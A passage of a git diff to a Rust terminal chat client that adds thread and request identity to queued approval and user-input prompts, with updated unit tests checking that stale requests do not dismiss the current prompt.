tests { assert!( overlay.dismiss_app_server_request(&ResolvedAppServerRequest::McpElicitation { + thread_id, server_name: "server-1".to_string(), request_id: request_id("request-2"), }) diff --git a/codex-rs/tui/src/bottom_pane/mod.rs b/codex-rs/tui/src/bottom_pane/mod.rs index ad30dedf5a..538e10a1c6 100644 --- a/codex-rs/tui/src/bottom_pane/mod.rs +++ b/codex-rs/tui/src/bottom_pane/mod.rs @@ -16,6 +16,7 @@ use std::collections::VecDeque; use std::path::PathBuf; +use crate::app::app_server_requests::AppServerRequestIdentity; use crate::app::app_server_requests::ResolvedAppServerRequest; use crate::app_event::AppEvent; use crate::app_event::ConnectorsSnapshot; @@ -1397,10 +1398,13 @@ impl BottomPane { } } - /// Called when the agent requests user input. - pub fn push_user_input_request(&mut self, request: ToolRequestUserInputParams) { - let request = if let Some(view) = self.view_stack.last_mut() { - match view.try_consume_user_input_request(request) { + pub(crate) fn push_user_input_request_with_identity( + &mut self, + request: ToolRequestUserInputParams, + identity: Option, + ) { + let (request, identity) = if let Some(view) = self.view_stack.last_mut() { + match view.try_consume_user_input_request(request, identity) { Some(request) => request, None => { self.request_redraw(); @@ -1408,11 +1412,12 @@ impl BottomPane { } } } else { - request + (request, identity) }; - let modal = RequestUserInputOverlay::new_with_keymap( + let modal = RequestUserInputOverlay::new_with_keymap_and_identity( request, + identity, self.app_event_tx.clone(), self.has_input_focus, self.enhanced_keys_supported, @@ -1854,6 +1859,7 @@ mod tests { use crate::test_support::PathBufExt; use crate::test_support::test_path_buf; use codex_app_server_protocol::CommandExecutionApprovalDecision; + use codex_app_server_protocol::RequestId; use crossterm::event::KeyCode; use crossterm::event::KeyEvent; use crossterm::event::KeyEventKind; @@ -1908,6 +1914,7 @@ mod tests { fn exec_request() -> ApprovalRequest { ApprovalRequest::Exec { thread_id: codex_protocol::ThreadId::new(), + app_server_request_id: Some(RequestId::String("request-b".to_string())), thread_label: None, id: "1".to_string(), environment_id: None, @@ -1947,7 +1954,7 @@ mod tests { } fn dismiss_app_server_request(&mut self, request: &ResolvedAppServerRequest) -> bool { - let ResolvedAppServerRequest::ExecApproval { id } = request else { + let ResolvedAppServerRequest::ExecApproval { id, .. } = request else { return false; }; if self.dismiss_exec_id != Some(id.as_str()) { @@ -2148,7 +2155,10 @@ mod tests { assert_eq!(pane.delayed_approval_requests.len(), 1); while let Ok(event) = rx.try_recv() { assert!( - !matches!(event, AppEvent::SubmitThreadOp { .. }), + !matches!( + event, + AppEvent::SubmitThreadOp { .. } | AppEvent::ResolveAppServerRequest { .. } + ), "delayed approval shortcut should not submit an approval: {event:?}" ); } @@ -2169,7 +2179,7 @@ mod tests { let mut approval_decision = None; while let Ok(event) = rx.try_recv() { - if let AppEvent::SubmitThreadOp { + if let AppEvent::ResolveAppServerRequest { op: Op::ExecApproval { decision, .. }, .. } = event @@ -2191,10 +2201,17 @@ mod tests { let mut pane = test_pane(tx); let now = Instant::now(); pane.last_composer_activity_at = Some(now); - pane.push_approval_request(exec_request(), &features); + let request = exec_request(); + let ApprovalRequest::Exec { thread_id, .. } = &request else { + unreachable!("test helper should return an exec request"); + }; + let thread_id = *thread_id; + pane.push_approval_request(request, &features); assert!( pane.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id, + request_id: RequestId::String("request-b".to_string()), id: "1".to_string(), }) ); @@ -2223,6 +2240,8 @@ mod tests { assert!( pane.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id: codex_protocol::ThreadId::default(), + request_id: RequestId::String("request-1".to_string()), id: "request-1".to_string(), }) ); @@ -2252,6 +2271,8 @@ mod tests { assert!( !pane.dismiss_app_server_request(&ResolvedAppServerRequest::ExecApproval { + thread_id: codex_protocol::ThreadId::default(), + request_id: RequestId::String("request-1".to_string()), id: "request-1".to_string(), }) ); diff --git a/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs b/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs index bf1fa5fa8a..589efb79e2 100644 --- a/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs +++ b/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs @@ -12,6 +12,7 @@ use std::path::PathBuf; use std::time::Duration; use std::time::Instant; +use crate::app::app_server_requests::AppServerRequestIdentity; use crate::app::app_server_requests::ResolvedAppServerRequest; use crossterm::event::KeyCode; use crossterm::event::KeyEvent; @@ -155,8 +156,9 @@ impl FooterTip { pub(crate) struct RequestUserInputOverlay { app_event_tx: AppEventSender, request: ToolRequestUserInputParams, + request_identity: Option, // Queue of incoming requests to process after the current one. - queue: VecDeque, + queue: VecDeque<(ToolRequestUserInputParams, Option)>, // Reuse the shared chat composer so notes/freeform answers match the // primary input styling and behavior. composer: ChatComposer, @@ -193,6 +195,7 @@ impl RequestUserInputOverlay { ) } + #[cfg(test)] pub(crate) fn new_with_keymap( request: ToolRequestUserInputParams, app_event_tx: AppEventSender, @@ -200,6 +203,26 @@ impl RequestUserInputOverlay { enhanced_keys_supported: bool, disable_paste_burst: bool, keymap: RuntimeKeymap, + ) -> Self { + Self::new_with_keymap_and_identity( + request, + /*request_identity*/ None, + app_event_tx, + has_input_focus, + enhanced_keys_supported, + disable_paste_burst, + keymap, + ) + } + + pub(crate) fn new_with_keymap_and_identity( + request: ToolRequestUserInputParams, + request_identity: Option, + app_event_tx: AppEventSender, + has_input_focus: bool, + enhanced_keys_supported: bool, + disable_paste_burst: bool, + keymap: RuntimeKeymap, ) -> Self { // Use the same composer widget, but disable popups/slash-commands and // image-path attachment so it behaves like a focused notes field. @@ -217,6 +240,7 @@ impl RequestUserInputOverlay { let mut overlay = Self { app_event_tx, request, + request_identity, queue: VecDeque::new(), composer, answers: Vec::new(), @@ -260,8 +284,9 @@ impl RequestUserInputOverlay { } fn advance_queue_or_complete_at(&mut self, now: Instant) { - if let Some(next) = self.queue.pop_front() { + if let Some((next, identity)) = self.queue.pop_front() { self.request = next; + self.request_identity = identity; self.request_started_at = now; self.auto_resolution_snoozed = false; self.reset_for_request(); @@ -910,12 +935,9 @@ impl RequestUserInputOverlay { }, ); } - self.app_event_tx.user_input_answer( - self.request.turn_id.clone(), - ToolRequestUserInputResponse { - answers: answers.clone(), - }, - ); + self.send_user_input_answer(ToolRequestUserInputResponse { + answers: answers.clone(), + }); self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new( history_cell::RequestUserInputResultCell { questions: self.request.questions.clone(), @@ -929,12 +951,9 @@ impl RequestUserInputOverlay { fn submit_empty_auto_resolution(&mut self, now: Instant) { self.confirm_unanswered = None; let answers: HashMap = HashMap::new(); - self.app_event_tx.user_input_answer( - self.request.turn_id.clone(), - ToolRequestUserInputResponse { - answers: answers.clone(), - }, - ); + self.send_user_input_answer(ToolRequestUserInputResponse { + answers: answers.clone(), + }); self.app_event_tx.send(AppEvent::InsertHistoryCell(Box::new( history_cell::RequestUserInputResultCell { questions: self.request.questions.clone(), @@ -945,15 +964,43 @@ impl RequestUserInputOverlay { self.advance_queue_or_complete_at(now); } + fn send_user_input_answer(&self, response: ToolRequestUserInputResponse) { + match &self.request_identity { + Some(identity) => self.app_event_tx.app_server_user_input_answer( + identity.thread_id, + identity.request_id.clone(), + self.request.turn_id.clone(), + response, + ), + None => self + .app_event_tx + .user_input_answer(self.request.turn_id.clone(), response), + } + } + fn dismiss_resolved_request(&mut self, request: &ResolvedAppServerRequest) -> bool { - let ResolvedAppServerRequest::UserInput { call_id } = request else { + let ResolvedAppServerRequest::UserInput { + thread_id, + request_id, + turn_id, + call_id, + } = request + else { return false; }; let queue_len = self.queue.len(); - self.queue - .retain(|queued_request| queued_request.item_id != *call_id); - if self.request.item_id == *call_id { + self.queue.retain(|(queued_request, identity)| { + identity.as_ref().is_none_or(|identity| { + identity.thread_id != *thread_id || identity.request_id != *request_id + }) || queued_request.turn_id != *turn_id + || queued_request.item_id != *call_id + }); + if self.request_identity.as_ref().is_some_and(|identity| { + identity.thread_id == *thread_id && identity.request_id == *request_id + }) && self.request.turn_id == *turn_id + && self.request.item_id == *call_id + { self.advance_queue_or_complete_at(Instant::now()); return true; } @@ -1500,8 +1547,9 @@ impl BottomPaneView for RequestUserInputOverlay { fn try_consume_user_input_request( &mut self, request: ToolRequestUserInputParams, - ) -> Option { - self.queue.push_back(request); + identity: Option, + ) -> Option<(ToolRequestUserInputParams, Option)> { + self.queue.push_back((request, identity)); None } @@ -1516,6 +1564,8 @@ mod tests { use crate::app_event::AppEvent; use crate::bottom_pane::selection_popup_common::menu_surface_inset; use crate::render::renderable::Renderable; + use codex_app_server_protocol::RequestId; + use codex_protocol::ThreadId; use pretty_assertions::assert_eq; use ratatui::buffer::Buffer; use ratatui::layout::Rect; @@ -1545,6 +1595,28 @@ mod tests { ); } + fn expect_exact_user_input_answer( + rx: &mut tokio::sync::mpsc::UnboundedReceiver, + expected_thread_id: ThreadId, + expected_request_id: RequestId, + expected_turn_id: &str, + ) { + let event = std::iter::from_fn(|| rx.try_recv().ok()) + .find(|event| matches!(event, AppEvent::ResolveAppServerRequest { .. })) + .expect("expected exact app-server user-input response"); + let AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op: Op::UserInputAnswer { id, .. }, + } = event + else { + panic!("expected exact user-input response"); + }; + assert_eq!(thread_id, expected_thread_id); + assert_eq!(request_id, expected_request_id); + assert_eq!(id, expected_turn_id); + } + fn question_with_options(id: &str, header: &str) -> ToolRequestUserInputQuestion { ToolRequestUserInputQuestion { id: id.to_string(), @@ -1739,14 +1811,14 @@ mod tests { /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, ); - overlay.try_consume_user_input_request(request_event( - "turn-2", - vec![question_with_options("q2", "Second")], - )); - overlay.try_consume_user_input_request(request_event( - "turn-3", - vec![question_with_options("q3", "Third")], - )); + overlay.try_consume_user_input_request( + request_event("turn-2", vec![question_with_options("q2", "Second")]), + /*identity*/ None, + ); + overlay.try_consume_user_input_request( + request_event("turn-3", vec![question_with_options("q3", "Third")]), + /*identity*/ None, + ); overlay.submit_answers(); assert_eq!(overlay.request.turn_id, "turn-2"); @@ -1755,6 +1827,69 @@ mod tests { assert_eq!(overlay.request.turn_id, "turn-3"); } + #[test] + fn manual_app_server_answer_emits_exact_origin_identity() { + let (tx, mut rx) = test_sender(); + let thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let request_id = RequestId::String("1".to_string()); + let mut overlay = RequestUserInputOverlay::new_with_keymap_and_identity( + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-1".to_string(), + questions: vec![question_with_options("q1", "First")], + auto_resolution_ms: None, + }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_id.clone(), + }), + tx, + /*has_input_focus*/ true, + /*enhanced_keys_supported*/ false, + /*disable_paste_burst*/ false, + RuntimeKeymap::defaults(), + ); + + overlay.submit_answers(); + + expect_exact_user_input_answer(&mut rx, thread_id, request_id, "turn-1"); + } + + #[test] + fn auto_resolved_app_server_answer_emits_exact_origin_identity() { + let (tx, mut rx) = test_sender(); + let thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let request_id = RequestId::Integer(1); + let mut overlay = RequestUserInputOverlay::new_with_keymap_and_identity( + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-1".to_string(), + questions: vec![question_with_options("q1", "First")], + auto_resolution_ms: Some(60_000), + }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_id.clone(), + }), + tx, + /*has_input_focus*/ true, + /*enhanced_keys_supported*/ false, + /*disable_paste_burst*/ false, + RuntimeKeymap::defaults(), + ); + let now = Instant::now(); + overlay.request_started_at = + now - AUTO_RESOLUTION_HIDDEN_GRACE - AUTO_RESOLUTION_VISIBLE_COUNTDOWN; + + assert!(overlay.pre_draw_tick(now)); + + expect_exact_user_input_answer(&mut rx, thread_id, request_id, "turn-1"); + } + #[test] fn interrupt_discards_queued_requests_and_emits_interrupt() { let (tx, mut rx) = test_sender(); @@ -1765,20 +1900,26 @@ mod tests { /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, ); - overlay.try_consume_user_input_request(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-2".to_string(), - turn_id: "turn-2".to_string(), - questions: vec![question_with_options("q2", "Second")], - auto_resolution_ms: None, - }); - overlay.try_consume_user_input_request(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-3".to_string(), - turn_id: "turn-3".to_string(), - questions: vec![question_with_options("q3", "Third")], - auto_resolution_ms: None, - }); + overlay.try_consume_user_input_request( + ToolRequestUserInputParams { + thread_id: "thread-1".to_string(), + item_id: "call-2".to_string(), + turn_id: "turn-2".to_string(), + questions: vec![question_with_options("q2", "Second")], + auto_resolution_ms: None, + }, + /*identity*/ None, + ); + overlay.try_consume_user_input_request( + ToolRequestUserInputParams { + thread_id: "thread-1".to_string(), + item_id: "call-3".to_string(), + turn_id: "turn-3".to_string(), + questions: vec![question_with_options("q3", "Third")], + auto_resolution_ms: None, + }, + /*identity*/ None, + ); overlay.handle_key_event(KeyEvent::from(KeyCode::Esc)); @@ -2004,10 +2145,13 @@ mod tests { /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, ); - overlay.try_consume_user_input_request(request_event_with_auto_resolution( - "turn-2", - vec![question_with_options("q2", "Second")], - )); + overlay.try_consume_user_input_request( + request_event_with_auto_resolution( + "turn-2", + vec![question_with_options("q2", "Second")], + ), + /*identity*/ None, + ); let now = Instant::now(); let total_timeout = AUTO_RESOLUTION_HIDDEN_GRACE + AUTO_RESOLUTION_VISIBLE_COUNTDOWN; overlay.request_started_at = now - total_timeout; @@ -2029,22 +2173,53 @@ mod tests { #[test] fn resolved_request_dismisses_overlay_without_emitting_events() { let (tx, mut rx) = test_sender(); - let mut overlay = RequestUserInputOverlay::new( + let thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let request_id = RequestId::String("request-b".to_string()); + let mut overlay = RequestUserInputOverlay::new_with_keymap_and_identity( ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), + thread_id: thread_id.to_string(), item_id: "call-1".to_string(), turn_id: "turn-1".to_string(), questions: vec![question_with_options("q1", "First")], auto_resolution_ms: None, }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_id.clone(), + }), tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, + RuntimeKeymap::defaults(), ); + assert!( + !overlay.dismiss_app_server_request(&ResolvedAppServerRequest::UserInput { + thread_id: ThreadId::try_from("00000000-0000-0000-0000-000000000002") + .expect("valid thread id"), + request_id: request_id.clone(), + turn_id: "turn-1".to_string(), + call_id: "call-1".to_string(), + }) + ); + assert!(!overlay.done); + assert!( + !overlay.dismiss_app_server_request(&ResolvedAppServerRequest::UserInput { + thread_id, + request_id: RequestId::String("request-a".to_string()), + turn_id: "turn-1".to_string(), + call_id: "call-1".to_string(), + }), + "a stale request with the same semantic key must not dismiss the current prompt" + ); + assert!(!overlay.done); assert!( overlay.dismiss_app_server_request(&ResolvedAppServerRequest::UserInput { + thread_id, + request_id, + turn_id: "turn-1".to_string(), call_id: "call-1".to_string(), }) ); @@ -2056,38 +2231,56 @@ mod tests { } #[test] - fn resolved_current_request_advances_to_next_same_turn_prompt() { + fn resolved_current_request_advances_to_reused_item_in_next_turn() { let (tx, mut rx) = test_sender(); - let mut overlay = RequestUserInputOverlay::new( + let thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let request_a = RequestId::String("request-a".to_string()); + let request_b = RequestId::String("request-b".to_string()); + let mut overlay = RequestUserInputOverlay::new_with_keymap_and_identity( ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), + thread_id: thread_id.to_string(), item_id: "call-1".to_string(), turn_id: "turn-1".to_string(), questions: vec![question_with_options("q1", "First")], auto_resolution_ms: None, }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_a.clone(), + }), tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, + RuntimeKeymap::defaults(), + ); + overlay.try_consume_user_input_request( + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-2".to_string(), + questions: vec![question_with_options("q2", "Second")], + auto_resolution_ms: None, + }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_b, + }), ); - overlay.try_consume_user_input_request(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-2".to_string(), - turn_id: "turn-1".to_string(), - questions: vec![question_with_options("q2", "Second")], - auto_resolution_ms: None, - }); assert!( overlay.dismiss_app_server_request(&ResolvedAppServerRequest::UserInput { + thread_id, + request_id: request_a, + turn_id: "turn-1".to_string(), call_id: "call-1".to_string(), }) ); - assert!(!overlay.done, "newer same-turn prompt should stay pending"); - assert_eq!(overlay.request.item_id, "call-2"); - assert_eq!(overlay.request.turn_id, "turn-1"); + assert!(!overlay.done, "newer cross-turn prompt should stay pending"); + assert_eq!(overlay.request.item_id, "call-1"); + assert_eq!(overlay.request.turn_id, "turn-2"); assert_eq!(overlay.request.questions[0].id, "q2"); assert!( rx.try_recv().is_err(), @@ -2098,37 +2291,62 @@ mod tests { #[test] fn resolved_queued_request_removes_only_that_prompt() { let (tx, mut rx) = test_sender(); - let mut overlay = RequestUserInputOverlay::new( + let thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let request_a = RequestId::String("request-a".to_string()); + let request_b = RequestId::String("request-b".to_string()); + let request_c = RequestId::String("request-c".to_string()); + let mut overlay = RequestUserInputOverlay::new_with_keymap_and_identity( ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), + thread_id: thread_id.to_string(), item_id: "call-1".to_string(), turn_id: "turn-1".to_string(), questions: vec![question_with_options("q1", "First")], auto_resolution_ms: None, }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_a, + }), tx, /*has_input_focus*/ true, /*enhanced_keys_supported*/ false, /*disable_paste_burst*/ false, + RuntimeKeymap::defaults(), + ); + overlay.try_consume_user_input_request( + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-2".to_string(), + questions: vec![question_with_options("q2", "Second")], + auto_resolution_ms: None, + }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_b.clone(), + }), + ); + overlay.try_consume_user_input_request( + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-3".to_string(), + turn_id: "turn-1".to_string(), + questions: vec![question_with_options("q3", "Third")], + auto_resolution_ms: None, + }, + Some(AppServerRequestIdentity { + thread_id, + request_id: request_c, + }), ); - overlay.try_consume_user_input_request(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-2".to_string(), - turn_id: "turn-1".to_string(), - questions: vec![question_with_options("q2", "Second")], - auto_resolution_ms: None, - }); - overlay.try_consume_user_input_request(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-3".to_string(), - turn_id: "turn-1".to_string(), - questions: vec![question_with_options("q3", "Third")], - auto_resolution_ms: None, - }); assert!( overlay.dismiss_app_server_request(&ResolvedAppServerRequest::UserInput { - call_id: "call-2".to_string(), + thread_id, + request_id: request_b, + turn_id: "turn-2".to_string(), + call_id: "call-1".to_string(), }) ); diff --git a/codex-rs/tui/src/chatwidget.rs b/codex-rs/tui/src/chatwidget.rs index 631fe197f3..649435b99c 100644 --- a/codex-rs/tui/src/chatwidget.rs +++ b/codex-rs/tui/src/chatwidget.rs @@ -41,6 +41,7 @@ use std::sync::atomic::Ordering; use std::time::Duration; use std::time::Instant; +use crate::app::app_server_requests::AppServerRequestIdentity; use crate::app::app_server_requests::ResolvedAppServerRequest; use crate::app_command::AppCommand; use crate::app_event::HistoryLookupResponse; diff --git a/codex-rs/tui/src/chatwidget/interrupts.rs b/codex-rs/tui/src/chatwidget/interrupts.rs index 44fc450061..be95219419 100644 --- a/codex-rs/tui/src/chatwidget/interrupts.rs +++ b/codex-rs/tui/src/chatwidget/interrupts.rs @@ -9,20 +9,36 @@ use codex_app_server_protocol::McpServerElicitationRequestParams; use codex_app_server_protocol::RequestId as AppServerRequestId; use codex_app_server_protocol::ThreadItem; use codex_app_server_protocol::ToolRequestUserInputParams; +use codex_protocol::ThreadId; use codex_protocol::request_permissions::RequestPermissionsEvent; use super::ChatWidget; #[derive(Debug)] pub(crate) enum QueuedInterrupt { - ExecApproval(ExecApprovalRequestEvent), - ApplyPatchApproval(ApplyPatchApprovalRequestEvent), + ExecApproval { + thread_id: Option, + app_server_request_id: Option, + event: ExecApprovalRequestEvent, + }, + ApplyPatchApproval { + thread_id: Option, + app_server_request_id: Option, + event: ApplyPatchApprovalRequestEvent, + }, Elicitation { request_id: AppServerRequestId, params: McpServerElicitationRequestParams, }, - RequestPermissions(RequestPermissionsEvent), - RequestUserInput(ToolRequestUserInputParams), + RequestPermissions { + thread_id: Option, + app_server_request_id: Option, + event: RequestPermissionsEvent, + }, + RequestUserInput { + app_server_request_id: Option, + params: ToolRequestUserInputParams, + }, ItemStarted(ThreadItem), ItemCompleted(ThreadItem), } @@ -44,13 +60,30 @@ impl InterruptManager { self.queue.is_empty() } - pub(crate) fn push_exec_approval(&mut self, ev: ExecApprovalRequestEvent) { - self.queue.push_back(QueuedInterrupt::ExecApproval(ev)); + pub(crate) fn push_exec_approval( + &mut self, + thread_id: Option, + app_server_request_id: Option, + event: ExecApprovalRequestEvent, + ) { + self.queue.push_back(QueuedInterrupt::ExecApproval { + thread_id, + app_server_request_id, + event, + }); } - pub(crate) fn push_apply_patch_approval(&mut self, ev: ApplyPatchApprovalRequestEvent) { - self.queue - .push_back(QueuedInterrupt::ApplyPatchApproval(ev)); + pub(crate) fn push_apply_patch_approval( + &mut self, + thread_id: Option, + app_server_request_id: Option, + event: ApplyPatchApprovalRequestEvent, + ) { + self.queue.push_back(QueuedInterrupt::ApplyPatchApproval { + thread_id, + app_server_request_id, + event, + }); } pub(crate) fn push_elicitation( @@ -62,13 +95,28 @@ impl InterruptManager { .push_back(QueuedInterrupt::Elicitation { request_id, params }); } - pub(crate) fn push_request_permissions(&mut self, ev: RequestPermissionsEvent) { - self.queue - .push_back(QueuedInterrupt::RequestPermissions(ev)); + pub(crate) fn push_request_permissions( + &mut self, + thread_id: Option, + app_server_request_id: Option, + event: RequestPermissionsEvent, + ) { + self.queue.push_back(QueuedInterrupt::RequestPermissions { + thread_id, + app_server_request_id, + event, + }); } - pub(crate) fn push_user_input(&mut self, ev: ToolRequestUserInputParams) { - self.queue.push_back(QueuedInterrupt::RequestUserInput(ev)); + pub(crate) fn push_user_input( + &mut self, + app_server_request_id: Option, + params: ToolRequestUserInputParams, + ) { + self.queue.push_back(QueuedInterrupt::RequestUserInput { + app_server_request_id, + params, + }); } pub(crate) fn push_item_started(&mut self, item: ThreadItem) { @@ -89,13 +137,28 @@ impl InterruptManager { pub(crate) fn flush_all(&mut self, chat: &mut ChatWidget) { while let Some(q) = self.queue.pop_front() { match q { - QueuedInterrupt::ExecApproval(ev) => chat.handle_exec_approval_now(ev), - QueuedInterrupt::ApplyPatchApproval(ev) => chat.handle_apply_patch_approval_now(ev), + QueuedInterrupt::ExecApproval { + thread_id, + app_server_request_id, + event, + } => chat.handle_exec_approval_now(thread_id, app_server_request_id, event), + QueuedInterrupt::ApplyPatchApproval { + thread_id, + app_server_request_id, + event, + } => chat.handle_apply_patch_approval_now(thread_id, app_server_request_id, event), QueuedInterrupt::Elicitation { request_id, params } => { chat.handle_elicitation_request_now(request_id, params); } - QueuedInterrupt::RequestPermissions(ev) => chat.handle_request_permissions_now(ev), - QueuedInterrupt::RequestUserInput(ev) => chat.handle_request_user_input_now(ev), + QueuedInterrupt::RequestPermissions { + thread_id, + app_server_request_id, + event, + } => chat.handle_request_permissions_now(thread_id, app_server_request_id, event), + QueuedInterrupt::RequestUserInput { + app_server_request_id, + params, + } => chat.handle_request_user_input_now(app_server_request_id, params), QueuedInterrupt::ItemStarted(item) => chat.handle_queued_item_started_now(item), QueuedInterrupt::ItemCompleted(item) => { chat.handle_queued_item_completed_now(item); @@ -108,27 +171,54 @@ impl InterruptManager { impl QueuedInterrupt { fn matches_resolved_prompt(&self, request: &ResolvedAppServerRequest) -> bool { match self { - QueuedInterrupt::ExecApproval(ev) => { - matches!(request, ResolvedAppServerRequest::ExecApproval { id } - if ev.effective_approval_id() == id.as_str()) + QueuedInterrupt::ExecApproval { + thread_id, + app_server_request_id, + event, + } => { + matches!(request, ResolvedAppServerRequest::ExecApproval { thread_id: resolved_thread_id, request_id, id } + if *thread_id == Some(*resolved_thread_id) + && app_server_request_id.as_ref() == Some(request_id) + && event.effective_approval_id() == id.as_str()) } - QueuedInterrupt::ApplyPatchApproval(ev) => { - matches!(request, ResolvedAppServerRequest::FileChangeApproval { id } - if ev.call_id == id.as_str()) + QueuedInterrupt::ApplyPatchApproval { + thread_id, + app_server_request_id, + event, + } => { + matches!(request, ResolvedAppServerRequest::FileChangeApproval { thread_id: resolved_thread_id, request_id, id } + if *thread_id == Some(*resolved_thread_id) + && app_server_request_id.as_ref() == Some(request_id) + && event.call_id == id.as_str()) } QueuedInterrupt::Elicitation { request_id, params } => { matches!(request, ResolvedAppServerRequest::McpElicitation { + thread_id, server_name, request_id: resolved_request_id, - } if params.server_name == server_name.as_str() && request_id == resolved_request_id) + } if ThreadId::from_string(¶ms.thread_id).ok() == Some(*thread_id) + && params.server_name == server_name.as_str() + && request_id == resolved_request_id) } - QueuedInterrupt::RequestPermissions(ev) => { - matches!(request, ResolvedAppServerRequest::PermissionsApproval { id } - if ev.call_id == id.as_str()) + QueuedInterrupt::RequestPermissions { + thread_id, + app_server_request_id, + event, + } => { + matches!(request, ResolvedAppServerRequest::PermissionsApproval { thread_id: resolved_thread_id, request_id, id } + if *thread_id == Some(*resolved_thread_id) + && app_server_request_id.as_ref() == Some(request_id) + && event.call_id == id.as_str()) } - QueuedInterrupt::RequestUserInput(ev) => { - matches!(request, ResolvedAppServerRequest::UserInput { call_id } - if ev.item_id == call_id.as_str()) + QueuedInterrupt::RequestUserInput { + app_server_request_id, + params, + } => { + matches!(request, ResolvedAppServerRequest::UserInput { thread_id, request_id, turn_id, call_id } + if ThreadId::from_string(¶ms.thread_id).ok() == Some(*thread_id) + && app_server_request_id.as_ref() == Some(request_id) + && params.turn_id == turn_id.as_str() + && params.item_id == call_id.as_str()) } QueuedInterrupt::ItemStarted(_) | QueuedInterrupt::ItemCompleted(_) => false, } @@ -146,9 +236,13 @@ mod tests { use super::*; + fn thread_id() -> ThreadId { + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id") + } + fn user_input(call_id: &str, turn_id: &str) -> ToolRequestUserInputParams { ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), + thread_id: thread_id().to_string(), item_id: call_id.to_string(), turn_id: turn_id.to_string(), questions: Vec::new(), @@ -192,36 +286,71 @@ mod tests { #[test] fn remove_resolved_prompt_removes_matching_user_input_only() { let mut manager = InterruptManager::new(); - manager.push_user_input(user_input("call-a", "turn")); - manager.push_user_input(user_input("call-b", "turn")); + let request_a = AppServerRequestId::String("request-a".to_string()); + let request_b = AppServerRequestId::String("request-b".to_string()); + manager.push_user_input(Some(request_a), user_input("call", "turn-a")); + manager.push_user_input(Some(request_b.clone()), user_input("call", "turn-b")); assert!( manager.remove_resolved_prompt(&ResolvedAppServerRequest::UserInput { - call_id: "call-b".to_string(), + thread_id: thread_id(), + request_id: request_b, + turn_id: "turn-b".to_string(), + call_id: "call".to_string(), }) ); assert_eq!(manager.queue.len(), 1); - let Some(QueuedInterrupt::RequestUserInput(remaining)) = manager.queue.front() else { + let Some(QueuedInterrupt::RequestUserInput { + params: remaining, .. + }) = manager.queue.front() + else { panic!("expected remaining queued user input"); }; - assert_eq!(remaining.item_id, "call-a"); + assert_eq!(remaining.turn_id, "turn-a"); } #[test] fn remove_resolved_prompt_matches_exec_approval_id() { let mut manager = InterruptManager::new(); - manager.push_exec_approval(exec_approval("call", Some("approval"))); + let request_id = AppServerRequestId::String("request-b".to_string()); + manager.push_exec_approval( + Some(thread_id()), + Some(request_id.clone()), + exec_approval("call", Some("approval")), + ); assert!( !manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval { + thread_id: ThreadId::try_from("00000000-0000-0000-0000-000000000002") + .expect("valid thread id"), + request_id: request_id.clone(), + id: "approval".to_string(), + }) + ); + assert_eq!(manager.queue.len(), 1); + assert!( + !manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval { + thread_id: thread_id(), + request_id: request_id.clone(), id: "call".to_string(), }) ); assert_eq!(manager.queue.len(), 1); + assert!( + !manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval { + thread_id: thread_id(), + request_id: AppServerRequestId::String("request-a".to_string()), + id: "approval".to_string(), + }), + "a stale request with the same semantic key must not remove the current prompt" + ); + assert_eq!(manager.queue.len(), 1); assert!( manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval { + thread_id: thread_id(), + request_id, id: "approval".to_string(), }) ); @@ -235,6 +364,8 @@ mod tests { assert!( !manager.remove_resolved_prompt(&ResolvedAppServerRequest::ExecApproval { + thread_id: thread_id(), + request_id: AppServerRequestId::String("request".to_string()), id: "call".to_string(), }) ); diff --git a/codex-rs/tui/src/chatwidget/protocol_requests.rs b/codex-rs/tui/src/chatwidget/protocol_requests.rs index 5729c073fd..771c133cae 100644 --- a/codex-rs/tui/src/chatwidget/protocol_requests.rs +++ 